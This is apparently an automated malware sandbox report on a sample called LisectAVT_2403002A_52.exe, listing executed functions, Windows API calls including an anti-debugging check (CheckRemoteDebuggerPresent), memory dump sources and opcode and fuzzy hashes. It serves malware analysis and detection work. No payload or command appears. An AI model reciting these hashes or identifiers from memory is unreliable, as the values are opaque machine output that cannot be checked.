GetCurrentProcess.KERNEL32 ref: 00A9D558
GetCurrentThreadId.KERNEL32 ref: 00A9D5B1

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 1dd4c21d384d5a50f6d1a26e010594a2b8f4c571c105f1487a39346866618ba2
Instruction ID: 3f8c13207e850eb2b8e82898dc7a4e55402a101bfef207500507d7895c970002
Opcode Fuzzy Hash: 1dd4c21d384d5a50f6d1a26e010594a2b8f4c571c105f1487a39346866618ba2
Instruction Fuzzy Hash: 455165B09013498FDB14DFA9D548B9EBFF1FF89304F20846DE419A7260D778A984CB65

Function 00A9D460 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00A9D4DE
GetCurrentThread.KERNEL32 ref: 00A9D51B
GetCurrentProcess.KERNEL32 ref: 00A9D558
GetCurrentThreadId.KERNEL32 ref: 00A9D5B1

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: b9324b948f37010bca382e22e546569b05a2fe450869fada3f67ee7ac83b533a
Instruction ID: cd68783b6a939ebaaf7f627c98fd588688dfbf130c8b636d348aef4c75b10865
Opcode Fuzzy Hash: b9324b948f37010bca382e22e546569b05a2fe450869fada3f67ee7ac83b533a
Instruction Fuzzy Hash: 325145B09003498FDB14DFA9D548B9EBBF5FF88314F208469E419A7360D778A984CB65

Function 00A9B1D0 Relevance: 1.7, APIs: 1, Instructions: 198
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00A9B426

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7d76c78cd4d957505a91c240aad11ef8077b9d5ed0e6ce224553a826e074befd
Instruction ID: b72a1b1a6326419ed8e468514d73419e21136215d79e17240632b3c10c8752e1
Opcode Fuzzy Hash: 7d76c78cd4d957505a91c240aad11ef8077b9d5ed0e6ce224553a826e074befd
Instruction Fuzzy Hash: 9A715970A10B058FDB24DF6AD24479ABBF5FF88300F10892DD44ADBA50DB75E945CBA1

Function 00A958EC Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00A959A9

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 5df0d26c84b832a4e64f71e543c4204b79af28c221258845e9ecf3814e68233a
Instruction ID: 084b024c3e0a4c2b4514c39705c9d5eb4a2aeb69ec78570e0be47e4a8a38bf93
Opcode Fuzzy Hash: 5df0d26c84b832a4e64f71e543c4204b79af28c221258845e9ecf3814e68233a
Instruction Fuzzy Hash: 8D4100B0D00619CBDB25DFA9C888B8DBBF1BF48304F20816AD409AB255DB756946CF90

Function 00A944E0 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 00A959A9

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 20626bfc663181d81eeca9a75d84cb092bb90700fb236e67bf12a3d2948368a2
Instruction ID: 5f6e9b604ff011c39d9ae33e91a0284010001c3e9a39b3b08c54c7551b73a8f6
Opcode Fuzzy Hash: 20626bfc663181d81eeca9a75d84cb092bb90700fb236e67bf12a3d2948368a2
Instruction Fuzzy Hash: 1341FFB0D00719CBDB25DFA9C888B9DBBF5BF49304F20806AD409AB255DBB56946CF90

Function 00A9D6A0 Relevance: 1.6, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00A9D72F

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 926df0433af4367025a460ff8569a84f9b1e19875ac78ff5ea98f46f03d4d6ec
Instruction ID: 027c5ed2330edd0d59305355bbccbabf82f71e408f56b92358d8fbad70823816
Opcode Fuzzy Hash: 926df0433af4367025a460ff8569a84f9b1e19875ac78ff5ea98f46f03d4d6ec
Instruction Fuzzy Hash: 5721E5B59002499FDB10CF9AD984ADEFFF5EB48310F14841AE918A7350D378A945CFA4

Function 00A9D6A8 Relevance: 1.6, APIs: 1, Instructions: 62
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 00A9D72F

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3948bd4a4708c853c8a8dcaf83a075fd803369852203ec22f9b01e6a9afb2522
Instruction ID: 8265bb5a16947dc22f61d5b37da4160b27a229d4adc558a361d380135bed91be
Opcode Fuzzy Hash: 3948bd4a4708c853c8a8dcaf83a075fd803369852203ec22f9b01e6a9afb2522
Instruction Fuzzy Hash: 0221D5B59002489FDB10CF9AD584ADEFFF9FB48310F14841AE918A3350D378A944CFA5

Function 00A9AEE8 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00A9B4A1,00000800,00000000,00000000), ref: 00A9B6B2

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f991a8e0ba8b147487634ee93121c22d81770a9361fe03dd3ccfa2ad00854879
Instruction ID: 7a9af7b1418fe41b0705a0045e47d58d97f24645057f9589fa63e729b681d215
Opcode Fuzzy Hash: f991a8e0ba8b147487634ee93121c22d81770a9361fe03dd3ccfa2ad00854879
Instruction Fuzzy Hash: A61123B69003489FDB20DF9AD544AEEFBF5EB48320F10842EE519A7300C379A945CFA4

Function 00A9B641 Relevance: 1.6, APIs: 1, Instructions: 55
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNELBASE(00000000,00000000,?,?,?,?,00000000,?,00A9B4A1,00000800,00000000,00000000), ref: 00A9B6B2

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8d732d95d1a4947073f3427d4d51a0d8f5ed1f22fc1925d8ff9e392d1a21f9b9
Instruction ID: 9b4962795f4012f4164ce03f2dc390e835dd5bec6c21e651c4446d3dc557d40b
Opcode Fuzzy Hash: 8d732d95d1a4947073f3427d4d51a0d8f5ed1f22fc1925d8ff9e392d1a21f9b9
Instruction Fuzzy Hash: D41114B69002498FDB10CF9AD544AEEFBF5EB48310F10842ED519A7250C379A545CFA4

Function 023537B0 Relevance: 1.6, APIs: 1, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 02353810

Memory Dump Source

Source File: 00000000.00000002.2019906928.0000000002350000.00000040.00000800.00020000.00000000.sdmp, Offset: 02350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2350000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 1004caa641f2a022414c4e7b5fece4296e8e17cf6f7bd91954833cee665620ae
Instruction ID: b3a1480d05ce9c08646b98c354c14cfceb4a31f3971814c7bba257145917361e
Opcode Fuzzy Hash: 1004caa641f2a022414c4e7b5fece4296e8e17cf6f7bd91954833cee665620ae
Instruction Fuzzy Hash: C21122B58003599FCB20DF9AC545BEEBBF4EB48320F20845AD958A7340D338A984CFA5

Function 023514D0 Relevance: 1.5, APIs: 1, Instructions: 48
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostMessageW.USER32(?,?,?,?), ref: 02351535

Memory Dump Source

Source File: 00000000.00000002.2019906928.0000000002350000.00000040.00000800.00020000.00000000.sdmp, Offset: 02350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2350000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: f091dd0761ceed454a51576e2f25820517ac743706e520a300fd05a9c8ddfd76
Instruction ID: 1073ceeff51d62b61f017329ac03949c8c634cee4e93706b5b904c53d64359d6
Opcode Fuzzy Hash: f091dd0761ceed454a51576e2f25820517ac743706e520a300fd05a9c8ddfd76
Instruction Fuzzy Hash: A511F5B58003599FCB10DF9AD485BDEBBF4EB49320F108419D558A7600C379A585CFA1

Function 023537B8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?), ref: 02353810

Memory Dump Source

Source File: 00000000.00000002.2019906928.0000000002350000.00000040.00000800.00020000.00000000.sdmp, Offset: 02350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2350000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: d6669ee89d31bf093e6e535acd820d59425e2e2ca5ef9d77e211a1966088fb82
Instruction ID: b631588d01c4900568ca458b566d65b62196276c61d92f8bebf3ac99d8995452
Opcode Fuzzy Hash: d6669ee89d31bf093e6e535acd820d59425e2e2ca5ef9d77e211a1966088fb82
Instruction Fuzzy Hash: 2E1103B58003498FCB20DF9AC545BDEBBF4EB48320F10845AD958A7340D778A984CFA5

Function 00A9B3C0 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00A9B426

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 4f730a7e863e2d1de1a6dae33d5daeb734b6e0806299aece42d9118807c0a729
Instruction ID: 7580cfe6b47b799c21f78b4a1bd1db9f85aa223163048ba523835a7407f8c4c5
Opcode Fuzzy Hash: 4f730a7e863e2d1de1a6dae33d5daeb734b6e0806299aece42d9118807c0a729
Instruction Fuzzy Hash: 8211DFB5D003498FCB10DF9AD544A9EFBF5EF89320F14841AD419A7611C379A545CFA1

Function 023514D8 Relevance: 1.5, APIs: 1, Instructions: 44windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 02351535

Memory Dump Source

Source File: 00000000.00000002.2019906928.0000000002350000.00000040.00000800.00020000.00000000.sdmp, Offset: 02350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2350000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: ac5e04e86fae5e1f73a28d35f16ab92cd4f4be4667ee563b62023988cc2cffae
Instruction ID: 69e3bf4d6070284b69f0393926c0375858c00324e1306749a0065f56ab216f44
Opcode Fuzzy Hash: ac5e04e86fae5e1f73a28d35f16ab92cd4f4be4667ee563b62023988cc2cffae
Instruction Fuzzy Hash: F811D3B58003499FDB10DF9AD585BDEFBF8EB48324F108859D959A7600C379A984CFA1

Function 0083D1FC Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019427112.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 82c3ddcb827e03e277e893cc6ef36a52256cce1a194defd81ec7820d390f1202
Instruction ID: aaba33ba2396cd114f2740150f04f87b25d65f36dba68bd329f0034b6f0dacb6
Opcode Fuzzy Hash: 82c3ddcb827e03e277e893cc6ef36a52256cce1a194defd81ec7820d390f1202
Instruction Fuzzy Hash: 2421ED72504304DFCB059F54E980B2BBF65FBC8314F20C5A9ED098B256C37AE816DBA2

Function 0083D4C4 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019427112.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 062600fc151727b143b220084f1f6537e4fe76bf1ed5de783458a7e153401e79
Instruction ID: 96f82da653aa1eb862eb4f59d78a74cf3d98740764903e954b66a553c5ee76a2
Opcode Fuzzy Hash: 062600fc151727b143b220084f1f6537e4fe76bf1ed5de783458a7e153401e79
Instruction Fuzzy Hash: ED21FF72600344DFCB05DF24E980B26BF65FBD8318F20C569E9098A256C33AD816DAE2

Function 0084D1D4 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019452308.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1255f0c37f7d3709508fadd0c6570abdb475fdf9169e0c345d819314d43f8552
Instruction ID: bb94f1fae26ab1f41062fbe23a75c8eb4d45d0be57605e85f1b2fe312aa41b20
Opcode Fuzzy Hash: 1255f0c37f7d3709508fadd0c6570abdb475fdf9169e0c345d819314d43f8552
Instruction Fuzzy Hash: 82210771604308DFDB05DF14D5C0F26BBA5FB84318F20C66DE9098B356C3BAE806CA61

Function 0084D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019452308.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbfdf2b6165eaf3ff2f8b23d7676513fc42410e5a5e4a83b5a43f8996132368f
Instruction ID: 554a169839916f9c8c648161095499ce3767c264ef0e6c0e98eec5f610d38075
Opcode Fuzzy Hash: bbfdf2b6165eaf3ff2f8b23d7676513fc42410e5a5e4a83b5a43f8996132368f
Instruction Fuzzy Hash: EF21F271604708DFCB14DF24D984B26BF65FB98318F20C56DD90A8B396C33AD807CA61

Function 0083D1F7 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019427112.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d06fae078f3ccc2112caf8552f6b645ede566e603d6c7b0d9faf10800b04cc1c
Instruction ID: 775b0165d28740963cb83949c41d5fe4bdd06fde18e0bb0777ae40e409e87e2c
Opcode Fuzzy Hash: d06fae078f3ccc2112caf8552f6b645ede566e603d6c7b0d9faf10800b04cc1c
Instruction Fuzzy Hash: 73219D76504240DFDB06CF50D9C4B16BF72FB88314F24C5A9DD494B656C37AE82ACBA2

Function 0083D4BF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019427112.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction ID: e56f73e22e019ad1cf11ac91b6f2adf0e15f232bb3108850483d928ce0545e63
Opcode Fuzzy Hash: be84e5d2ba6eb25d2e30d29f2c5ffdc4cdcd384a79140dda988d9b090738847a
Instruction Fuzzy Hash: 8911D376504380CFCB16CF14D5C4B16BF71FB98314F24C6A9D9494B656C33AD85ACBA2

Function 0084D017 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019452308.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: e8943fc29a1ea5ada68c0ced86e59a803d320b321918c33cd7634dfdbbed63b1
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 9111BB75504784CFCB16CF14D5C4B15BBA2FB88314F24C6AAD8498B656C33AD80ACBA2

Function 0084D1CF Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019452308.000000000084D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0084D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_84d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction ID: c3facd596391d38d1a25f93af182ae1a114f18029e88765694cce6077d22857d
Opcode Fuzzy Hash: 945d3a080ad63b5e32bcc5b18ec1e97d0272151c1fb78e482730898ede984437
Instruction Fuzzy Hash: 9D11BB75504384DFCB02CF10C5C4B15BBA2FB84314F24C6A9D8498B296C37AE80ACB62

Function 0083D745 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019427112.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9abf765dd5f5ed0b5f8e13bd2c4fc13ccc24ac6d24039e9593262d06d2d36ff5
Instruction ID: 65d2cb2d848d7ebfadb6e16ccc7b483c197252aacb7636343c4e78340d54c615
Opcode Fuzzy Hash: 9abf765dd5f5ed0b5f8e13bd2c4fc13ccc24ac6d24039e9593262d06d2d36ff5
Instruction Fuzzy Hash: C101D6710053449AE7209E2ADD84B67BF9CFFC6364F18C52AED198A286D27D9C41CAF1

Function 0083D744 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019427112.000000000083D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0083D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_83d000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d385b590a6ff033e5d936b5492c3d6e0dd17b52f01a4bc82aff8cde2eb4c11a
Instruction ID: 39773122fd2e58d060d5df6da4c8460e645268ffd143fac40e929ddab7bebec1
Opcode Fuzzy Hash: 7d385b590a6ff033e5d936b5492c3d6e0dd17b52f01a4bc82aff8cde2eb4c11a
Instruction Fuzzy Hash: 7BF06271405344AAE7108E16D888B66FF98FF95734F18C45AED485A386C2799C44CAB1

Non-executed Functions

Function 02352F24 Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019906928.0000000002350000.00000040.00000800.00020000.00000000.sdmp, Offset: 02350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2350000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7a02e3207998c72fab9dff223169072d606bbec4aad1c6894883f63295c3a9e
Instruction ID: 9353fd6b784b82c30497ed4adc3ce74cac969ccbe7fd39bb4198afceb2a7bd71
Opcode Fuzzy Hash: d7a02e3207998c72fab9dff223169072d606bbec4aad1c6894883f63295c3a9e
Instruction Fuzzy Hash: 66D1AA307017108FDB29DB75C550BAFB7FAAF89744F1444AAD90ACB291DB35E902CB92

Function 00A9DFCC Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2019745369.0000000000A90000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a90000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a1c4673d300b1723950353581a9dce8b66200dde6f6528488e1264b884dce36
Instruction ID: 56bef68c6e3afae2387bf1767018a6902182e436e3df2b5507f12a2cd667b854
Opcode Fuzzy Hash: 0a1c4673d300b1723950353581a9dce8b66200dde6f6528488e1264b884dce36
Instruction Fuzzy Hash: 31A13936F002058FCF05DFA5C9845AEB7F2FF89300B15857AE905AB266DB71E955CB40

Analysis Process: LisectAVT_2403002A_52.exePID: 6380, Parent PID: 2748COMMON

Execution Graph

Execution Coverage:	13.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	8.3%
Total number of Nodes:	36
Total number of Limit Nodes:	4

Executed Functions

Function 06642438 Relevance: 9.0, Strings: 6, Instructions: 1497COMMON

Download Yara Rule

Strings

$]q, xrefs: 06643884
$]q, xrefs: 0664384F
$]q, xrefs: 0664389C
$]q, xrefs: 066438A8
$]q, xrefs: 06643878
$]q, xrefs: 0664385B

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 1de42cc663ce9795d8232f9bf729dc4439c96cbab078090e903867b08d9e00e2
Instruction ID: c31e8305fedbb94a93970f2de0d8c902a70264e5a06529100f204be574ddfcbb
Opcode Fuzzy Hash: 1de42cc663ce9795d8232f9bf729dc4439c96cbab078090e903867b08d9e00e2
Instruction Fuzzy Hash: A6D25D30E002058FDB64EF68C594A9DB7F6FF89304F6485A9E449AB355EB30ED85CB90

Function 0664B308 Relevance: 8.3, Strings: 6, Instructions: 773COMMON

Download Yara Rule

Strings

$]q, xrefs: 0664BC79
$]q, xrefs: 0664BCE1
$]q, xrefs: 0664BCED
$]q, xrefs: 0664BC85
$]q, xrefs: 0664BCAD
$]q, xrefs: 0664BCB9

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q$$]q$$]q$$]q$$]q
API String ID: 0-3723351465
Opcode ID: 6dda700ca17e64147910acb871b84b7743c28d56db1ec12266e7cc2793d43f16
Instruction ID: 33c51643b497d90caa91fa5f46e10fb45c6b56670b6774f773e34bedc9fcf729
Opcode Fuzzy Hash: 6dda700ca17e64147910acb871b84b7743c28d56db1ec12266e7cc2793d43f16
Instruction Fuzzy Hash: BC526030E002098FDF64EF69D5907AEB7B6EF85310F248929E405EB395DA34DD86CB91

Function 029271E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CheckRemoteDebuggerPresent.KERNELBASE(?,?), ref: 0292725F

Strings

], xrefs: 02927202

Memory Dump Source

Source File: 00000003.00000002.4472512381.0000000002920000.00000040.00000800.00020000.00000000.sdmp, Offset: 02920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2920000_LisectAVT_2403002A_52.jbxd

Similarity

API ID: CheckDebuggerPresentRemote
String ID: ]
API String ID: 3662101638-3352871620
Opcode ID: 70d0748de830d895958c60359038613799f170f37efe9fc048318d7f8240b29b
Instruction ID: 971f50c3647402a7c52331c5f4edbf0bc0c84ace3b09c33e03c4afbb0095e08c
Opcode Fuzzy Hash: 70d0748de830d895958c60359038613799f170f37efe9fc048318d7f8240b29b
Instruction Fuzzy Hash: 3D2125B18012598FCB10CFAAD584BEEFBF8BF49310F14845AE459B3250D778A944CFA1

Function 06647E48 Relevance: 3.0, Strings: 2, Instructions: 478
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$]q, xrefs: 066481B7
$]q, xrefs: 066481AB

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: 0e01d36ea62d6fa7d077e2b8da20e476bb04df70b1b19caa537567a8e991391d
Instruction ID: 8263fa77f0b95172a01105a4a19b8d6e2c284c2590e2160dc119fd7425119f6d
Opcode Fuzzy Hash: 0e01d36ea62d6fa7d077e2b8da20e476bb04df70b1b19caa537567a8e991391d
Instruction Fuzzy Hash: BA02BF30B002099FDB54EF68D990AAEB7E6FF84344F148529D809DB395EB35EC46CB91

Function 06645688 Relevance: 1.8, Strings: 1, Instructions: 595
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$, xrefs: 06645D87

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID: $
API String ID: 0-3993045852
Opcode ID: ac0494434afaba36032a2d47e7e57f76dbdedab3917ce6e032e6be21736ff90d
Instruction ID: 7a51d064d35df8bda6890297dc3f02deba7ce9d87c6ec3129faeea4c2891154c
Opcode Fuzzy Hash: ac0494434afaba36032a2d47e7e57f76dbdedab3917ce6e032e6be21736ff90d
Instruction Fuzzy Hash: 2B22D635F002159FDF60EFA4C4806AEBBB2EF85310F24846AD84AAB354DB35DD46CB91

Function 066466C0 Relevance: .8, Instructions: 821COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe7201725f1332e3542fd53169f84028351d4b8667ae142f8aba554bb976a375
Instruction ID: 0ff793d8940fe77b65d621d92fc1405d56a6a74e0b5104c2f04c66c6ace6c7f4
Opcode Fuzzy Hash: fe7201725f1332e3542fd53169f84028351d4b8667ae142f8aba554bb976a375
Instruction Fuzzy Hash: 56629F34B002048FDB54EF68D594AADBBF6EF89314F148469E806DB395DB35EC46CB90

Function 0664C260 Relevance: .7, Instructions: 652COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.4478123286.0000000006640000.00000040.00000800.00020000.00000000.sdmp, Offset: 06640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6640000_LisectAVT_2403002A_52.jbxd

Similarity

API ID:
String ID:
API String ID:
